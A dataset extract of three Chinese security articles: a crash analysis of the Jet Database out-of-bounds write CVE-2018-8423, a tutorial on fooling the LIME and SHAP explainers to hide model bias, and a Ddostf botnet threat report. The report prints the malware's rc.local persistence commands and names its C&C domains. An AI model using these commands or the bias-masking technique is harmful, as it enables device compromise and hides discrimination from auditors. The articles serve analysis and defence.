text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
2018年9月，Zero Day Initiative发布了微软Jet Database
Engine漏洞CVE-2018-8423的PoC，并于2018年10月发布了补丁。研究人员在分析该漏洞和补丁时发现该漏洞的补丁会引发另一个漏洞CVE-2019-0576。
该漏洞利用了许多微软应用中都使用的Jet Database
Engine的漏洞，其中就包括Access。攻击者利用该漏洞可以执行代码来进行权限提升或下载恶意软件。无从得知该漏洞是否已经被用于攻击活动中，但是PoC代码是随处可见的。
# 概览
为了利用该漏洞，攻击者需要利用社工技术使受害者打开一个JS文件，该JS文件使用`ADODB
connection`对象来访问恶意Jet数据库文件。一旦访问恶意Jet数据库文件，就会调用`msrd3x40.dll`中有漏洞的函数，最终导致该漏洞被成功利用。
虽然PoC是导致`wscript.exe`奔溃，但实际上所有使用该DLL的应用都可能会受到该攻击的影响。
下面的错误信息表明该漏洞会被成功触发：
该消息表明在有漏洞的DLL中引发了访问违反。该漏洞是一个越界写漏洞，可以通过OLE
DB触发，该API是许多微软应用中用来访问数据。该类漏洞表明数据可以在目标缓冲区外写数据导致奔溃。奔溃的原因是由于恶意伪造的JET数据库文件。利用Jet数据库文件格式的`index`域的文件有一个非常大的数，会导致越界写，最终引发前面提到的奔溃。
下图介绍了该漏洞利用的过程：
# 漏洞利用
PoC代码中含有一个JS文件(`poc.js`)，会调用第二个文件(`group
1`)。这是一个Jet数据库文件。通过`wscript.exe`运行`poc.js`就会触发该奔溃。
从图中可以看出，引发该函数奔溃的是`msrd3x40!TblPage::CreateIndexes`。还可以确定该程序在尝试写数据，但是失败了。该程序用`esi`寄存器来在位置`[edx+ecx*4+574h]`处写，但该位置是无法访问的。
Debug信息表明寄存器`ecx`中含有值`0x00002300`。`Edx`是一个指向内存的指针。最后，将这些和`offset
0x574`添加到一起来引用内存位置。根据这些信息可以猜测这里保存的数据类型。应该是一个数组，每个变量是4字节长，从位置`edx+574h`处开始。在追踪给程序时，研究人员确定了值`0x00002300`是来自于poc文件`group
1`。
从上面我们了解到该程序会尝试越界写，并且确定了越界写发生的位置。下面分析为什么程序会尝试在该位置写。再此之前，需要了解Jet数据库，并根据用户提供的`0x00002300`处的数据来进行分析。
# 分析Jet数据库文件
许多研究人员都分析过Jet数据库文件结构。其中包括：
* Jabakobob.net <http://jabakobob.net/mdb/>
* Brian B GitHub <https://github.com/brianb/mdbtools/blob/master/HACKING>
总结一下就是，Jet数据库文件是以页的形式组织，如下所示：
header page含有与文件相关的不同信息：
Header之后是含有`key
0x6b39dac7`的RC4加密的126字节，其中key对每个JetDB文件都是一样的。与PoC文件key值对比，可以发现g`roup 1`是Jet
Version 3文件。
更多页pages定义参见<http://jabakobob.net/mdb/table-page.html。>
Table的定义数据有不同的域，其中包括`Index Count`和`Real Index Count`。
可以确定PoC文件中的这些值。检查`group 1`文件研究人员发现：
在`Index Count`中一共有2个`index`。分析这个index研究人员值是很熟悉的`0x00002300`：
`0x00230000`是table中`index2`的`index`值。Index看似非常大，而且与crash有关。
为什么会使程序奔溃呢？通过分析文件，研究人员发现了两个index的名：
# Debug
通过debugger，研究人员发现第一个程序调用了函数`msrd3x40!operator new`。这会为在`eax`中存储内存指针地址来分配内存：
内存分配后，程序会创建一个新的index：
该index值用于后面的执行过程。函数`msrd3x40!Index::Restore`会复制该index数到`index地址+24h`。这一过程会在所对所有index循环。首先调用分配内存的`new`，然后在该地址上创建一个`index`，并将index数一道`index的基地址+24h`。可以从下面的代码中看到移动的操作，表明恶意index值被复制到新创建的index中：
成功移动后，函数`msrd3x40!NamedObject::Rename`会被调用并复制index name值到`index地址+40h`：
查看`esi`寄存器可以看到它指向`index`的地址。`Ecx`寄存器的值为`[esi+24h]`，这也就是index数：
在一些指令操作后，可以看到引发奔溃的指令。`Edx`指向内存地址，`ecx`中含有来自文件`group
1`的非常大的数。该程序尝试访问`[edx+ecx*4+574h]`处的内存，这会引发越界写和程序奔溃：
程序要写的数据会引发什么呢？通过分析指令，可以看出程序尝试将`esi`中的值写入`[edx+ecx*4+574]`，打印`esi`或前面的值，可以看到其中含有`group
1`中出现过的`index name ParentIdName`：
最后，程序在尝试用很大的index数处理`ParentIDName`时就会奔溃。逻辑是：
* 分配内存并获取内存开始位置的指针。
* 从`内存位置+674h`开始，程序会用文件中提到的index数乘4来保存指向index name的指针。
如果index数很大，又没有有效性验证，程序就会尝试越界写，并奔溃。
# 结论
这是一个逻辑错误，而此类错误一般很难发现。许多开发者都会采取额外的预防措施来避免代码中出现类似bug。如果出现了类似的问题，研究人员建议尽快应用厂商提供的补丁。
微软提供的补丁参见：
CVE-2018-8423
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8423>
CVE-2019-0576
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0576>
参考：
• <https://github.com/brianb/mdbtools/blob/master/HACKING>
• <http://jabakobob.net/mdb/table-page.html>
* * *
本文翻译自：<https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/jet-database-engine-flaw-may-lead-to-exploitation-analyzing-cve-2018-8423/> | 社区文章 |
# 攻击可解释性技术
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## AI中的攻防
方院士曾经提到，对于安全领域而言，当一项新技术出现的时候，会面临两种情况，一种情况是用其赋能安全，在这方面可以赋能攻击，也可以赋能防御，比如生成对抗网络(GAN)，可以用GAN识别恶意软件，也可以用GAN生成可以绕过杀软的恶意软件；另一种情况是其本身存在安全问题，对抗样本、数据投毒均属于这一种情况。
我们来简单整理一下发展脉络，出现了AI技术，人们想着用它来辅助安全，比如基于AI的杀毒引擎，但是攻击者开始研究AI本身的缺陷，发现了对抗样本的存在，其根本原因学术界尚有争议，但是它是深度学习模型的本质缺陷，只要是深度学习模型都会存在对抗样本的问题，所以攻击者可以构造能够规避基于AI的杀毒引擎检测的对抗样本(adversarial
attack在其出现之前，还有个名称，就叫做evasion
attack)。既然对抗样本无法规避，那么是否可以用一些可解释性技术，来解释模型做出决策的依据呢，如果可以做到这一点，我们知道是样本的哪一特征或者一些特征的组合让模型将其分类为正常软件或者恶意软件，那也是可以的。简单地说，我们用AI作为引擎辅助防御，但是攻击者能够AI本身，为了提高其决策可靠性，人们又引入了可解释技术，那么，攻击者是否可以进一步去攻击攻击、欺骗可解释性技术呢?
答案是可以的，这也是文本的重点，将会介绍如何攻击两种流行的可解释技术：LIME和SHAP.
## 可解释技术
在深度神经网络(Deep Neural
Networks，DNN)的推动下，深度学习在许多领域取得了重大突破。深度神经网络成功的一个关键因素是它的网络足够深，大量非线性网络层的复杂组合能对原始数据在各种抽象层面上提取特
征。然而，由于大多数深度学习模型复杂度高、参数多、透明性低，如黑盒一般，人们无法理解这种“端到端”模型做出决策的机理，无法判断决策是否可靠。
深度学习模型在实际应用中产生了各种问题，可解释性的缺失使这些问题难以解决。例如在医疗领域，看似非常精确的用于肺炎患者预后的系统，非常依赖数据集中的虚假相关性。该系统预测有哮喘病史的病人死于肺炎的风险较低，但这是因为哮喘病人得到了更快、
更好的关注，才导致他们的死亡率更低。实际上，这类病人死于肺炎的风险会更高。在司法领域，借助 COMPAS
软件对罪犯再犯风险的评估，法官能更合理地对保释金额、判刑等做出决策。但由于训练和测试模型时所用数据库的代表样本不足或是无关统计相关等原因，模型存在潜在的人种偏见、性别歧视，或是其他各种主观偏见。在图像处理领域，高度精确的神经网络面对对抗攻击却很脆弱。只需对图像的像素进行不可察觉的改变，图像处理神经网络就可以将其任何预测改变为任何其他可能的预测。
对于安全性要求苛刻的应用，例如健康诊断、信用
额度、刑事审判，人们依旧选择线性回归、决策树等不那么精确，但人类可理解的模型。深度学习模型可解释性的缺失，严重阻碍了其在医学诊断、金融、自动驾驶、军事等高风险决策领域的应用。因此研究可解释性就显得格外重要，可解释性有利于系统的使用者更
好地理解系统的强项和不足，并明确系统的知识边界，了解系统在何种情况下有效，从而恰当地信任和使用系统来进行预测。对系统的设计者而言，可解释性有利于优化和改进系统，避免模型中的歧视和偏见，并加强对系统的管理和监控。
可解释性技术的关键在于将模型决策结果以可理解的方式向人类呈现，它有助于人们理解复杂模型的内部工作机制以及模型如何做出特定决策等重要问题。从模型自身的性质来看，线性模型、决策树天生带有可解释性，而深度学习天生是不具有可解释性的，为了提升可解释性，可解释性技术可以分为两类：全局可解释性和局部可解释性。全局可解释性从整体上理解模型如何进行预测，而局部可解释性为模型的单个预测提供局部解释，后者的代表就是LIME和SHAP。
### LIME&SHAP
LIME、SHAP这类方法的本质是构建更简单的可解释模型，用这些模型作为复杂模型的近似，可以解释任何给定的黑盒分类器，它们通过通过学习每个预测的局部可解释模型(如线性模型)，以一种可解释、可靠的方式解释任何分类器的单个预测，它们估计实例上的特征属性，确定每个特征对模型预测的贡献。
设f为需要解释的分类器，g是选中的用于学习并解释f的可解释模型，G是g的集合
另设g的复杂度为Ω( _g_ )，对于线性模型而言，其可由非零权重的数量来衡量；并用πx来衡量x和x’的相近程度
LIME,SHAP的目标就是在生成一种解释，同时满足:1.在x附近逼近黑盒行为；2.复杂度尽可能低,故目标函数如下所示
上式中的损失函数定义为
其中X’是在x附近的x’的集合
而LIME和SHAP的主要区别在于如何选择Ω(*g)和πx
在LIME中，这些函数的定义是启发式的，Ω( _g_ )是线性模型中的非零权重，πx是使用余弦或者 _l_
2距离定义的。而在SHAP中，SHAP将这些函数的定义定义在博弈论原则的基础上，以保证解释满足某些期望的性质。
### 应用
我们来看看LIME,SHAP在解释模型时会有什么结果，这两种方法非常流行，已经有成熟的库可以用了，我们直接导入即可
我们针对前面提到过的COMPAS应用可解释性技术进行分析
先来看看LIME的解释
输出的结果中，上面的是LIME对原始模型的决策结果做出的解释，这里打印出了模型决策时最重要的前三个特征。可以看到，LIME认为模型在分类时将种族因素作为最重要的特征，也就是说原始模型是存在偏见的，此时，用户发现该偏见后就可以采取一些措施进行纠正，但是对于攻击者而言，它的目的就是为了欺骗可解释模型，从而让用户无法发现模型存在偏见，最终造成危害。
再来看看SHAP方法。
从输出结果可以看到，SHAP认为模型在做出决策时认为种族是最重要的因素，也就是说，这个模型存在种族歧视。如果熟悉COMPAS背景的人应该知道，它是用于评估犯人从监狱释放后，在两年内再次犯罪的可能性，早已有新闻表明该系统确实存在种族歧视，也就说到目前为止，SHAP,LIME等方案给出的结果是可信的。而用户发现模型存在偏见、歧视之后就可以想办法进行改进。但是如果攻击者欺骗了SHAP,LIME呢？如果SHAP,LIME不认为模型存在歧视，但是其确实存在歧视，一旦将其应用于现实生活中，后果不堪设想，尤其当模型歧视的因素是比较敏感的话题的时候，比如人种、性别差异等。
## 攻击LIME&SHAP
### 原理
LIME等技术通过构建局部可解释近似模型来解释给定黑盒模型的单个预测，每一个样本的局部近似都被设计用来捕获给定数据点附近的黑盒行为，这些邻域构成了由输入数据中单个实例的扰动特征生成的合成数据点。然而，使用这些扰动生成的实例可能是off-manifola或者out-of-distribution(OOD)的
为了更好地理解由扰动生成的合成数据点的性质，研究人员进行了实验。他们使用LIME方法对输入实例进行扰动，然后对包含原始实例和扰动实例的组合数据集进行主成分分析PCA,将其降到2维
结果如下
从图中可以看到，合成的数据的分布与原始的实例的分布有很大的不同，这种现象是研究人员欺骗LIME，SHAP的基础。攻击者可以在输入数据点上创建一个类似于原始分类器(可能具有很大的歧视性)的对抗性分类器，但是在扰动数据上的表现却与原始分类器不同，对抗性分类器表现地没有偏见并且是公平的，从而有效地欺骗LIME、SHAP。
设 _f_
是前面提到的有偏见的分类器，对手希望设计一个对抗性分类器，在用户生成这个黑盒的解释时，解释技术会被欺骗，认为这个模型是无害的。这个分类器接收的N个数据点组成的数据集
_X_ 来自于真实世界的分布 _X **d** i **s** t_。为了欺骗解释性技术，攻击者设计的对抗分类器，在从 _X **d** i **s**
t_采样的数据点上显示有偏见的行为，而在不是来自 _X **d** i **s** t_
的数据点上保持没有偏见，由于LIME,SHAP输出的特征重要度严重依赖于扰动实例(通常是OOD样本)，因此得到的解释将使对抗分类器看起来无害。
设Ψ是一个没有偏见的分类器(基于与敏感特征不相干的无害特征进行预测),则对抗分类器 _e_ 的形式如下
创建这种分类器的难点就是我们需要判断给定的数据点是否来自Xdist，或者说是否是OOD的,为此需要创建一个分类器is_OOD
为了创建分类器is_OOD，需要构造新的数据集，扰动每个实例 _x_ 生成新的实例xp，设所有通过扰动得到的实例的集合为Xp，然后将 _X_
中所有实例的标签设置False，将Xp中所有实例的标签设为True(在 _X_ 中的实例除外)，然后我们在联合数据集Xp⋃X以及对应的标签上训练分类器即可。
### 实现
**欺骗LIME**
**欺骗SHAP**
### COMPAS测试
COMPAS数据集如下
从结果可以看到，不论是LIME还是SHAP此时在解释对抗模型的决策时，都认为其不再以种族作为最关键的决策因素，即不再认为该模型是存在种族歧视的，而实际上，通过我们的分析，我们知道该模型事实上是存在种族歧视的，由此我们就实现了对LIME,SHAP方案的欺骗。
### 其他数据集
COMPAS数据中的特征包括犯罪史、人口特征、COMPAS风险评分、入狱和服刑时间，其输出为风险率，涉及到种族歧视的问题。Communities &
Crime数据中的特征包括种族，年龄，教育程度，警察统计数据，婚姻状况，公民身份等，其输出为犯罪率，涉及到种族歧视问题。German
Credit数据中的特征包括账户信息，信用记录，贷款目的，就业情况，人口统计资料等，是输出判断客户是否为优质客户，其存在性别歧视。我们可以用同样的方法进行攻击，攻击结果如下
**Communities& Crime**
数据集如下
**lime**
**shap**
从结果可以看出，两种可解释性方法都认为除人种外的其他因素在模型决策时更加重要，而模型认为重要的因素，比如母语是否为英语、孩子数量等在我们人类看来往往并不要紧。
**German Credit**
数据集如下
**lime**
**shap**
从结果可以看出，两种可解释性方法都认为除性别外的其他因素在模型决策时更加重要，而模型认为重要的因素，比如存款余额、是否为外国工作人员等在我们人类看来往往并不要紧。
## 参考
1.<https://www.jiqizhixin.com/graph/technologies/60c538c0-32a9-4415-abab-6e1c0fba4cb3>
2.深度学习模型可解释性研究综述
3.Fooling LIME and SHAP: Adversarial Attacks on Post hoc Explanation Methods | 社区文章 |
作者：[启明星辰ADLab](https://mp.weixin.qq.com/s/sHfXUj4I0xJqnfJVkjPHOA "启明星辰ADLab")
“螳螂捕蝉黄雀在后，不知树下之弹弓也”。启明星辰ADLab于2017年首先提出一种高效的黑客攻击手段---黑雀攻击，并阐述了黑客生态中的黑雀攻击现象及黑雀分析方法，开创了黑雀生态的研究与分析。我们以现实中存在的一款僵尸网络为例，论述了在黑客生态圈中所存在的三级黑客架构的黑雀攻击现象（大黑雀、黑雀、螳螂），并且发布了长篇深度分析报告《黑雀攻击-揭秘Death僵尸网络背后的终极控制者》；随后我们披露了”比尔盖茨僵尸”黑客生态圈中的黑雀现象，发布了《揭秘Billgates僵尸网络中的黑雀现象》。而随着物联网这块肥肉被黑客盯上后，黑雀也同样盯上了物联网黑客，本文我们将揭露支持物联网攻击与感染的Ddostf僵尸中所存在的“黑雀现象”。
### 一、僵尸物联网黑雀分析简述
启明星辰ADLab在长期的僵尸生态研究分析中发现了一款物联网僵尸被广泛的植入了黑雀。通过对其进行溯源分析确认其是一种支持多CPU平台的Ddostf僵尸网络家族变种。自2016年10月Mirai肆虐美国互联网开始，各路物联网病毒如雨后春笋般层出不穷，Ddostf僵尸也不甘落后，于2017年4月增加了植入黑雀的物联网僵尸，能够感染Arm、Mips、X86架构的物联网设备，传播广泛，危害极大。
该僵尸网络中多个螳螂黑客控制的僵尸网络异常活跃，同时我们监测到隐藏在该僵尸网络的幕后黑雀也在近期现身，分别于2018年9月20日16时59分和9月6日21时23分开始，数次通过UDP
FLOOD和TCP FLOOD向高防服务器 (218. 90. XX.XX、118. 184. XX.XX）发起攻击，导致服务器业务长时间中断。
在分析过程中我们还会分析一些有趣的现象：“毒上加毒”，部分野生黑雀通过技术手段像寄生兽一样感染并附着在僵尸程序上，黑客在发展自身资源的同时，也在无形中帮助野生黑雀进行僵尸网络的扩张。这也使得原本的两级黑客模式演变成了更为复杂的三级黑客模式。文中我们将介绍其黑雀攻击的原理以及这种“毒上加毒”的现象。
通过对Ddostf僵尸网络幕后黑雀的追踪分析和样本抽测，我们共收集到约500个关联样本，其中Arm和Mips架构共262个，物联网僵尸占比超过总样本量的一半。分析显示该黑雀至少控制着184个螳螂僵尸网络，其中大部分螳螂C&C位于中国，但随着国内打击DDoS力度越来越大，许多黑客开始将服务器外迁到网络管控宽松的国家和地区来躲避监查，以下是根据抽样数据绘制的黑雀控制下的螳螂C&C分布地区统计图：
同时，我们也对该黑雀控制的我国境内Ddostf僵尸网络螳螂C&C进行了细分，数据显示螳螂C&C分布最多的几个省份和地区依次为香港、北京、江苏、广东、辽宁和贵州等，相关分布图如下所示：
### 二、Ddostf bot 简介
Ddostf
bot是当前中国区非常活跃的多硬件平台僵尸网络之一，由国内黑客组织编写，因僵尸程序代码包含“ddostf”而得名，自2015年起大量在黑产社群及论坛发布和售卖。其版本更迭迅速，至2017年4月共进行了8轮更迭。其中最近发布的版本为天罚压力测试系统V8.1，目前该黑客组织关闭了对外接口并停止了程序更新。
Ddostf bot
程序使用C语言编写，最新版本可入侵Windows平台和Linux平台下的Arm、Mips、X86等多种硬件平台架构的设备，相较于传统僵尸病毒，Ddostf对多平台的支持尤其是针对智能设备的攻击使其可以掌握大量的网络资源，无疑会造成更强的破坏力。Ddostf
bot 可针对目标进行12种攻击，包括TCP flood、ICMP flood、UDP flood、SYN flood、HTTP flood、CC
flood等攻击手段。
Ddostf bot在最初的编译文件中预留了黑雀攻击接口，尽管部分下游螳螂黑客发现并去除了该接口，但仍有大量的螳螂中招，成为黑雀扩展资源的免费劳动力。
### 三、黑雀发现
在对黑产僵尸网络的分析过程中，我们发现一款新型的物联网僵尸在物联网设备中快速扩散，随后我们迅速地获取到了该物联网僵尸的样本。通过样本相似度比对发现该样本为Ddostf僵尸的变种（Ddostf僵尸在以往的众多版本中并不支持物联网设备的感染），并且在我们对大量关联样本的批量分析过程中发现，该家族的大部分攻击代码都会连接两个以上C&C控制端，并且其中一个C&C控制端的连接行为异常，如大量样本均会尝试对其进行连接并且做了延迟上线。因此，我们对这些样本进行了进一步分析并最终确认该僵尸生态中被植入黑雀。
针对我们收集到的约500个僵尸样本，绘制样本上线频度占比图如下：
从图中可以看出C&C(v8.ter.tf)上线的频度远高于其他C&C,
根据黑雀可对下游螳螂黑客的攻击样本进行感染的特性，可以判定该僵尸生态中的黑雀即是控制C&C为v8.ter.tf的黑客。
### 四、黑雀样本分析
由于Ddostf僵尸支持多架构平台，我们在分别对Windows和Linux平台的样本进行分析后发现，两类平台均存在黑雀攻击的现象，但作者对黑雀C&C的加密处理有所不同。其中Windows端采用了较为复杂的自定义加密算法，Linux端则采用了Base64的方式进行编码，两种不同难度的加密隐藏方式也造成黑客在去除黑雀后门时的难度有所不同。我们分别统计了两个平台受到黑雀攻击（带有后门）的样本占该平台总样本的比例。
可以看到受攻击的Windows平台的样本占比明显高于Linux平台，也即Windows端肉鸡受黑雀控制比例更高。
通过对该黑雀的信息追踪，我们发现了该黑雀最近发布的v8.1版本控制端和配置小马，并以此为例对其Linux和Windows两类平台的样本进行简要分析。
#### 4.1 Linux平台样本
Linux端样本包含X86、ARM和MIPS三种硬件平台，但其主要逻辑的实现并无太大差别。黑雀在程序中均使用硬编码的方式存储字符串"djgudGVyLnRm"，通过Base64解码后可得到域名“v8.ter.tf”。僵尸程序在开始阶段会校验字符串"djgudGVyLnRm"是否匹配，若不匹配则打印“不要试图破坏程序!”并重启系统。我们在《启明星辰ADLab联合电信云堤揭秘Billgates僵尸网络中的黑雀现象》一文中提出过“偷梁换柱”的攻击现象，即其它黑雀通过攻击黑雀接口来实现C&C的替换。依此我们从僵尸程序校验黑雀C&C字符串这一模块可以看出，程序作者也意识到了这一问题，并希望尽可能避免黑雀接口遭到破坏。只是其手段并不高明，许多螳螂黑客通过反编译找到黑雀加密域名和验证字符串，同时更改或采用Patch的方式依然能够破坏接口，实现黑雀攻击。
验证成功后僵尸程序会进行如下操作：
1.权限判定
通过JudgeIfRoot函数依据文件/proc/cpuinfo可读性判定进程是否ROOT。
2.进程互斥
若进程权限为ROOT且启动时有参数传递，则通过readlink函数获取自身绝对路径，执行"ps -e"查看进程是否已运行，否则退出。
3.开机自启动
程序在Mvfile函数中会调用system函数执行命令设置开机自启动：
chmod +x /etc/rc.local
mv $(pwd)/c1 /etc/c1
cd /etc;chmod 777 c1
sed -i -e '/exit/d' /etc/rc.local
sed -i -e '/^\r\n|\r|\n$/d' /etc/rc.local
sed -i -e '/c1/d' /etc/rc.local
sed -i -e '2 i/etc/c1 reboot' /etc/rc.local
sed -i -e '2 i/etc/c1 start' /etc/rc.d/rc.local
sed -i -e '2 i/etc/c1 start' /etc/init.d/boot.local
4.守护进程
通过fork创建双进程守护，并且会切换至/tmp目录。
在此之后程序会开启两个线程，其中黑雀线程的主体功能与螳螂线程相似度很高，但控制指令功能类型少于螳螂线程。值得注意的是黑雀线程会延迟60s后上线，往往可以迷惑分析人员，使黑雀C&C隐藏在大量的C&C处理中，减少被分析发现的可能。
#### 4.2 Windows平台样本
Windows端样本首先会在磁盘根目录windows文件夹下释放子体并自我删除，之后通过服务的方式启动子体进程。相较于Linux平台针对域名的简单Base64编码“加密”,程序作者在windows端采用了自定义的加密算法，以防止被轻易发现和篡改。需解密的黑雀C&C和黑客C&C如下所示：
解密函数首先会初始化密钥Table，之后通过包括按位异或、行位移等多种方式进行10轮解密操作，由于解密流程较为复杂，在批量解密域名的过程中我们采用了动态脚本解密的方式进行提取，最终会得到解密后的螳螂C&C和黑雀域名。
Windows平台样本的主要逻辑同Linux平台相似，首先会进行黑雀域名的验证，验证成功后开启黑雀线程，但并未做延迟上线处理。
我们通过对黑雀域名v8.ter.tf所涉及的windows端样本的编译时间进行抽样分析，绘制如下样本编译时间轴。
依图所示，抽样样本大部分编译时间集中在2017年4月18日，尽管许多样本被产业链下游黑客进行过各种包装处理，如加强壳、插入Loader加载自定义代码等，但核心僵尸模板都是源于僵尸编写者在编译时生成的。所以我们推测僵尸制造者是在2017年4月18日17点10分22秒生产了被大量使用的v8.1版本的僵尸模板程序，而其它时间生产的僵尸模板程序并没有得到大规模传播。
#### 4.3 上线数据分析
以V8.1版本Linux
X86平台为例，僵尸程序各平台的通信协议相同，在获取计算机相关信息后，程序会组包发送给C&C服务器进行上线请求，上线包长度为204字节。上线数据包格式和上线包内存格式如下所示：
#### 4.4 控制命令及其控制功能
当僵尸程序成功上线后，会调用recv函数来等待C&C服务器下发控制命令，受限于篇幅，我们仅对主控常见命令及其攻击进行简单列举。
僵尸程序从V8.1版本开始增加了出租肉鸡服务，能够将僵尸资源租用给下游黑客使用，可以看出黑雀拥有庞大的僵尸网络资源并希望借此扩大盈利。
### 五、黑雀演变
Ddostf僵尸网络的控制端在一些论坛和黑产群中广泛散播，我们找到了其中数个历史版本的控制端和配置小马，针对其中主要版本的演进做了如下归纳。
可以看出，在较短的时间内，僵尸作者通过不断的技术更新，使僵尸病毒从单一平台扩展成为多平台、隐匿性高、可定制性强的僵尸病毒。尤其在添加了物联网僵尸之后，Ddostf黑雀僵尸网络的影响范围和危害性大大增加。另外，黑雀域名也从最初的多个分散化逐渐演变为集中统一化,这有利于域名解析管理的便捷和攻击资源的聚合。其中域名myss.myss.top、myss.basec.cc、myss.ddns.net和klss.ddns.net在2016年后解析频率较低，而域名v8.ter.tf
和myss.ter.tf则相对活跃，两者关联着大量僵尸样本。由此我们判断该黑雀目前主要操控V8及之后版本的僵尸网络，但其同时也具备着发起旧版本僵尸网络DDoS攻击的能力。
### 六、隐匿的黑雀攻击
分析至此，我们已经找到了样本中的黑雀后门，准备收工大吉。但在检测“天罚v8集群压力测试系统.exe”的过程中，我们发现事情并没有那么简单。控制端在正常运行时并未出现异常网络行为，但在点击“监听端口”按钮后程序则会不断发起可疑连接请求。
由于Ddostf家族的后门问题非常严重，螳螂黑客往往会在去除小马后门时暗自窃喜，放松警惕，殊不知一个更大的陷阱在等待着自己——黑雀在控制端同样隐藏了黑雀攻击接口，且只会在监听端口后开始建立连接。将二者绑定在一起不仅可以迷惑使用沙箱的分析人员，还可以在防火墙拦截网络通信时迷惑用户。这种针对控制端攻击的危害性无疑数倍于针对木马样本的攻击。由于控制端为Windows平台，僵尸制造者为了隐藏自身进行黑雀攻击的恶意目的，也为了防止其控制端被其它黑客逆向工程，自V8版本后加入了虚拟机保护壳Safengine
Shielden进行加壳保护（据说专业版保护强度甚至强于VMP）。由于脱壳成本极大，我们寻找到了旧版本V7进行逆向分析和比对，发现程序在监听端口后会主动连接黑雀的另一后门域名host.ter.tf。针对v8版本，虽然SE壳抹去了堆栈信息且无法对程序代码下断，但我们在尝试对网络系统函数下断后，经过调试和解密发现了与V7版本相同的黑雀域名。
如域名解析生效，V7版本控制端首先会发送上线包(天罚端)，上线包相关格式如下所示：
成功建立连接后控制端程序会等待接收黑雀指令，指令共分三种控制类型，其中当类型为case 7时，程序会通过指令发送的URL地址实现任意下载执行。如下图所示：
如此一来，黑雀就可以轻易控制螳螂黑客执行任意文件，不仅可以进行版本的更新，还可以加载任意恶意软件，危害极大。通过域名解析查询我们了解到，目前黑雀始终未对该域名进行IP解析，也就是说未曾发起过针对控制端的攻击。但不排除黑雀是在下一盘大棋，只待时机成熟进行大范围收割。综上，我们有理由怀疑黑雀在未来可能借此发动更大规模的攻击，需要引起高度警惕。
### 七、毒上加毒
在分析样本的过程中我们还发现了一些有趣的现象，部分Windows平台样本的大小明显同模板样本偏差较大，且会建立3个以上的C&C连接。通过进一步分析我们发现此类样本遭到了野生黑雀攻击，代码入口点被更改后加载了自定义Loader，且病毒代码隐藏在新增的rmnet区段中。
通过分析发现，这类野生黑雀攻击实为Ramnit蠕虫病毒所为，该蠕虫以各种小工具的形式在互联网上广泛传播并形成了庞大的僵尸网络。其首次出现于2010年，触发后会感染本地和移动硬盘上的EXE、DLL、HTM和HTML文件，可以窃取被感染主机的银行凭证、密码、cookie和个人文件等等。
被攻击程序首先会执行rmnet段，运行后会生成并执行srv.exe(upx加壳)同时跳转回原程序入口执行被感染进程逻辑。通过调用CreateProcess启动srv.exe后会释放自身到Program
Files\Microsoft\DesktopLayer.exe，运行DesktopLayer.exe后程序会从文件中提取DLL。
之后进程通过InlineHook调用ZwWriteVirtualMemory函数将DLL文件注入到IE和Google
Chrome进程中，从而实现文件不落地，防止杀软查杀。最后通过被注入的浏览器进程进行文件感染、远控连接、注册表自启动等行为。这里我们主要关心其对僵尸程序进行感染的攻击过程。
分析过程中涉及多次脱壳和DUMP，最终可以提取到注入进程的DLL，DLL中会进行真正的病毒行为。感染攻击的实质是添加loader来加载自定义恶意代码的过程。首先将目标PE文件映射到内存中，判断其是否含有rmnet区段，不包含则在尾部增加区段写入恶意代码，修改区段属性为可执行，然后将恶意代码末尾指向程序原入口点，而程序原入口点指向恶意代码的起始位置。
解密后可以得到其控制端域名fget-career.com，该域名自2013年以来多次变更解析IP，虽然其服务器多次遭到刑警组织打击，但目前仍保持活跃，危害极大。因为受到Ramnit僵尸网络感染的螳螂众多，我们判断其与螳螂黑客并无利益关联，而是黑客在不知情下被Ramnit攻击后继续扩散样本。由于Ddostf
bot自身受到二级黑客控制，样本在被野生黑雀攻击后即受到三级黑客控制，同时具备了DDoS、远控、窃密等多种攻击方式，随着黑客技术的不断迭代更新，这种“毒上加毒”的攻击方式很有可能被更多黑客利用，此类样本一旦扩散无疑会对网络造成更为强大的破坏和危害。
### 八、黑雀画像
通过域名注册历史，我们观察到域名v8.ter.tf采用了隐私保护无法得知具体信息，其中最近的域名注册记录显示其有效时间从2018年4月20日至2022年4月20日，同时通过溯源发现其共存在9次有效解析记录，相关IP解析记录如下:
可以观察到，黑雀长期使用监管宽松的服务器IP，间隔1-3个月即更换一次。同时我们通过监测发现，该黑雀通常只在准备攻击前进行解析IP操作，经过一段时间的积累，当上线肉鸡量达到需求后即发动DDoS攻击，结束后迅速取消域名解析(如取消或删除A记录/CNAME)，销声匿迹。可以判断出黑雀非常在意自身的隐匿安全性，灵活运用了打一枪换一炮的战术，在一定程度上增加了研究人员的追踪难度。
黑雀自2017年5月28日开始活跃，我们观察到其C&C (104.223.0.95)在2017年4月11日至5月30日关联在域名myss.ter.tf
(V8版本黑雀C&C)下，而后关联至域名v8.ter.tf(V8.1版本黑雀C&C)下,这与V8.1版本样本的编译和散播时间基本吻合。而从2017年8月29日起至2018年6月17日黑雀则较为低调，将域名持续解析至127.0.0.1。在2018年6月17日后黑雀域名共4次解析IP，通过IP关联分析并没有发现足够多的样本，主要原因是黑雀在攻击后往往会迅速取消域名解析，导致大量的提交样本在沙箱扫描时无法正常DNS解析。
监测发现9月以来该黑雀活动较为频繁，2次现身发动攻击。
我们在前文提到，通过对这批样本的分析，该黑雀至少掌控着184个独立螳螂僵尸网络，也即至少掌控着这184个C&C服务器所控制的所有肉鸡。而这只是黑雀的一部分资源，相对于螳螂来说，黑雀掌握的肉鸡资源几乎高出单个螳螂僵尸网络两个数据量级，所构成的攻击流量也会呈数量级增加，破坏力极大。
依据我们目前对黑雀的掌握和溯源分析，绘制黑雀名片如下:
### 九、总结
